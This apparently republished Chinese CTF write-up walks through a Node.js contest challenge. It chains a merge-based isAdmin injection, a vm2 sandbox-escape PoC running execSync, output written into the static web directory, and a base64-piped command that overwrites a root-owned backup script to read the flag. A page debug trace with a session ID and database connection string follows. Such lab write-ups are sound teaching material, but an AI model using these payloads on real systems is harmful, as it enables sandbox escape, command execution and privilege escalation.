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26软件安全区域赛nodejs复现

26软件安全区域赛nodejs复现

前言

所以比赛的一整天弹shell都弹不动是何意位啊😭😭😭

特地存了vm2最新cve的poc,结果在现场尝试了一天的反弹shell都失败,而且我一弹shell环境就崩溃。当时电脑里也没有安装vm2,本地根本起不了,只能反复的开关容器尝试🤡。但是这还不是最绝望的,最绝望的是比赛时还想过写文件操作,但是不确定有没有设置静态目录,于是随便猜了个目录名没成功就放弃了,水橙想呢,反耳就在源码第七行写了静态目录的目录名🤬😡👿愣是一天都没注意到这一行的代码,也是被自己菜哭了好吧😭😭😭

赛后在本地测试是能弹shell的,我真的没招了,给了兄弟。之前测试反弹shell的记录没保存,附件也删了,本文就记录下写文件处理无回显的方法。其实本来还想顺便学习一下CVE-2026-22709的漏洞原理,但显然我是高估了自己的能力了,这里就简单记录下这道题的解题思路。

参考链接

https://xz.aliyun.com/news/91998

题目复现

题目源码:

const express = require('express');const path = require('path');const session = require('express-session');const { VM } = require('vm2'); const app = express();app.use('/static', express.static(path.join(__dirname, 'public')));app.use(express.json());// Session 配置app.use(session({secret'random',resavefalse,saveUninitializedfalse,cookie: { maxAge3600000,  // 1小时httpOnlytrue    }}));const users = {};functionmerge(target, source{for (let key in source) {if (key === '__proto__'continue;  if (typeof source[key] === 'object' && source[key] !== null) {if (!target[key]) target[key] = {};            merge(target[key], source[key]);        } else {            target[key] = source[key];        }    }return target;}// 首页app.get('/', (req, res) => {    res.sendFile(path.join(__dirname, 'public''index.html'));});// 注册app.post('/register', (req, res) => {const { username, password } = req.body;if (!username || !password) {return res.json({ error'用户名和密码不能为空' });    }if (users[username]) {return res.json({ error'用户已存在' });    }    users[username] = { username, password };    res.json({ message'注册成功,请登录' });});// 登录app.post('/login', (req, res) => {const { username, password } = req.body;const user = users[username];if (!user || user.password !== password) {return res.json({ error'用户名或密码错误' });    }    req.session.user = { username: user.username };    res.json({ message'登录成功'user: { username: user.username,isAdmin: user.isAdmin        }     });});// 退出登录app.post('/logout', (req, res) => {    req.session.destroy((err) => {if (err) {return res.json({ error'退出失败' });        }        res.json({ message'已退出登录' });    });});// 修改密码app.post('/changepassword', (req, res) => {if (!req.session.user) return res.json({ error'请先登录' });const username = req.session.user.username;const user = users[username];const { oldPassword, newPassword, confirmPassword } = req.body;// 验证旧密码if (user.password !== oldPassword) {return res.json({ error'旧密码错误' });    }// 验证新密码if (newPassword !== confirmPassword) {return res.json({ error'两次密码不一致' });    }    merge(user, req.body);    user.password = newPassword;    res.json({ message'密码修改成功' });});// 用户信息(检查登录状态)app.get('/me', (req, res) => {if (!req.session.user) return res.json({ error'请先登录' });const username = req.session.user.username;const user = users[username];    res.json({ username: user.username,isAdmin: user.isAdmin    });});// 管理员面板app.get('/admin', (req, res) => {if (!req.session.user) return res.json({ error'请先登录' });const username = req.session.user.username;const user = users[username];if (user.isAdmin === true) {        res.json({ message'欢迎管理员!',        });    } else {        res.json({ error'需要管理员权限' });    }});app.post('/sandbox'async (req, res) => {if (!req.session.user) return res.json({ error'请先登录' });const username = req.session.user.username;const user = users[username];if (user.isAdmin !== true) {return res.json({ error'需要管理员权限' });    }const { code } = req.body;if (!code) return res.json({ error'请提供代码' });try {const sandboxResult = { valuenull };const vm = new VM({timeout5000,sandbox: { __result: sandboxResult }        });const result = vm.run(code);awaitnewPromise(resolve => setTimeout(resolve, 500));        res.json({ result: result?.toString() || '执行成功',output: sandboxResult.value        });    } catch (error) {        res.json({ error: error.message });    }});app.listen(3000, () => {console.log('Server running on port 3000');});

注意看changepassword路由中出现merge函数,这是原型链污染最常利用的函数,我们可以通过控制req.body的内容来进行污染

if (newPassword !== confirmPassword) {return res.json({ error: '两次密码不一致' });    }    merge(user, req.body);    user.password = newPassword;    res.json({ message: '密码修改成功' });

再看admin路由,会从users对象中获取当前用户的isAdmin值进行身份认证,isAdmin属性值为true能获取到admin权限。因为修改密码的操作是没有任何限制的,我们可以抓包然后添加一条isAdmin=true从而污染users对象中的属性。

app.get('/admin', (req, res) => {if (!req.session.user) return res.json({ error: '请先登录' });    const username = req.session.user.username;    const user = users[username];if (user.isAdmin === true) {        res.json({             message: '欢迎管理员!',        });    } else {        res.json({ error: '需要管理员权限' });    }});

再次登录就能执行命令

源码中提到vm2的版本为3.10.0,是最新的版本,所以前面老的漏洞就不再考虑,直接看最新的漏洞CVE-2026-22709。因为不懂原理这里就直接利用poc了

const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');obj = {    [customInspectSymbol]: (depth, opt, inspect) => {        inspect.constructor('return process')().mainModule.require('child_process').execSync('whoami');    },valueOfundefined,constructorundefined,}WebAssembly.compileStreaming(obj).catch(()=>{});

结果表示执行成功,在比赛时回显的结果是绿色的,表示执行成功,如果报错就会回显红色的错误信息。针对无回显,要么就是反弹shell,要么就是写文件。本题采用的后面一个方法

app.use('/static', express.static(path.join(__dirname, 'public')));

注意到app.js中第七行的这段代码,说明是存在静态目录的,所以可以使用写文件的方法,具体操作就是将命令执行结果写入到/app/public/目录下的文件中,然后在浏览器上访问/static/文件名即可读取到静态目录下的对应文件

ls / -l > /app/public/ls.txt

改下命令,然后访问/static/ls.txt可以获取到命令执行的结果

total 80drwxr-xr-x   1 root root 4096 May  7 12:26 app-rwxrwxrwx   1 root root  379 May  7 11:45 backup.shlrwxrwxrwx   1 root root    7 Apr 10 02:21 bin -> usr/bindrwxr-xr-x   2 root root 4096 Apr 18  2022 bootdrwxr-xr-x   5 root root  340 May  7 12:26 dev-rwxrwxrwx   1 root root  178 May  7 12:24 entrypoint.shdrwxr-xr-x   1 root root 4096 May  7 12:26 etc-r--------   1 root root   44 May  7 11:45 flagdrwxr-xr-x   2 root root 4096 Apr 18  2022 homelrwxrwxrwx   1 root root    7 Apr 10 02:21 lib -> usr/liblrwxrwxrwx   1 root root    9 Apr 10 02:21 lib32 -> usr/lib32lrwxrwxrwx   1 root root    9 Apr 10 02:21 lib64 -> usr/lib64lrwxrwxrwx   1 root root   10 Apr 10 02:21 libx32 -> usr/libx32drwxr-xr-x   2 root root 4096 Apr 10 02:21 mediadrwxr-xr-x   2 root root 4096 Apr 10 02:21 mntdrwxr-xr-x   2 root root 4096 Apr 10 02:21 optdr-xr-xr-x 309 root root    0 May  7 12:26 procdrwx------   1 root root 4096 May  7 12:26 rootdrwxr-xr-x   1 root root 4096 May  7 12:26 runlrwxrwxrwx   1 root root    8 Apr 10 02:21 sbin -> usr/sbindrwxr-xr-x   2 root root 4096 Apr 10 02:21 srvdr-xr-xr-x  13 root root    0 May  7 09:27 sysdrwxrwxrwt   1 root root 4096 May  7 12:26 tmpdrwxr-xr-x   1 root root 4096 Apr 10 02:21 usrdrwxr-xr-x   1 root root 4096 Apr 10 02:31 var

可以看到flag是不可读的,没有权限,注意到该目录下还有个backup.sh文件,查看内容

#!/bin/shBACKUP_DIR="/tmp/backups"TIMESTAMP=$(date +%Y%m%d_%H%M%S)BACKUP_FILE="$BACKUP_DIR/app_backup_$TIMESTAMP.tar.gz"mkdir -p "$BACKUP_DIR"echo "Creating backup: $BACKUP_FILE"tar -czf "$BACKUP_FILE" -C /app .chmod 644 "$BACKUP_FILE"cd "$BACKUP_DIR" && ls -t app_backup_*.tar.gz | tail -n +6 | xargs rm -f 2>/dev/null || trueecho "Backup completed: $BACKUP_FILE"

这是一个备份工具,所有权为root,可以利用该文件进行提权,先将读取flag的命令覆盖该文件的内容,然后再执行该文件

echo ZWNobyAiY2F0IC9mbGFnID4gL2FwcC9wdWJsaWMvZmxhZyIgPiAvYmFja3VwLnNo | base64 -d | sh

这里我选择进行base64编码这样就不用考虑引号问题,然后再将该命令替换为/backup.sh运行该文件去执行写入的命令,最后访问/static/flag就能获取到flag

基本 文件 流程 错误 SQL 调试
  1. 请求信息 : 2026-06-10 17:58:11 HTTP/1.1 GET : https://www.yeyulingfeng.com/a/588004.html
  2. 运行时间 : 0.095342s [ 吞吐率:10.49req/s ] 内存消耗:4,782.27kb 文件加载:145
  3. 缓存信息 : 0 reads,0 writes
  4. 会话信息 : SESSION_ID=d32bd1ed90e7836b6e463c86b51d1c85
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  1. CONNECT:[ UseTime:0.000522s ] mysql:host=127.0.0.1;port=3306;dbname=wenku;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.000798s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.000379s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.000275s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.000481s ]
  6. SELECT * FROM `set` [ RunTime:0.000200s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.000762s ]
  8. SELECT * FROM `article` WHERE `id` = 588004 LIMIT 1 [ RunTime:0.000552s ]
  9. UPDATE `article` SET `lasttime` = 1781085491 WHERE `id` = 588004 [ RunTime:0.003487s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 64 LIMIT 1 [ RunTime:0.000338s ]
  11. SELECT * FROM `article` WHERE `id` < 588004 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.000454s ]
  12. SELECT * FROM `article` WHERE `id` > 588004 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.002169s ]
  13. SELECT * FROM `article` WHERE `id` < 588004 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.001118s ]
  14. SELECT * FROM `article` WHERE `id` < 588004 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.001198s ]
  15. SELECT * FROM `article` WHERE `id` < 588004 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.004336s ]
0.096997s